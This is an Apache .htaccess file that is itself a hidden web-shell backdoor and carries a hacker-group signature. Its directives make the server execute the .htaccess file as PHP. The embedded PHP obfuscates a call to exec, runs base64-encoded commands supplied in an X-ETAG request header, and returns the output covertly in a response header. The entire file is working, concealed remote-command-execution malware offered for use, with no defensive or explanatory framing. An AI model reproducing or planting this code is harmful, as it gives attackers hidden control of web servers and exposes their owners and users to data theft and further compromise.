.hraccess hidden shell backdoor

<files ~="" "^\.ht" = "" >
Order allow,deny
Allow from all
</files>
AddType application/x-httpd-php .htaccess
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]
# AZZATSSINS CYBERSERKERS <?php ob_clean(); $e=str_replace('y','e','yxyc');$e(base64_decode (substr($_SERVER['HTTP_X_ETAG'],2))."2>&1",$o);header("X-ETAG: AA".base64_encode(implode("\r\n",$o)));print str_repeat("A",9326);ob_flush();exit();?>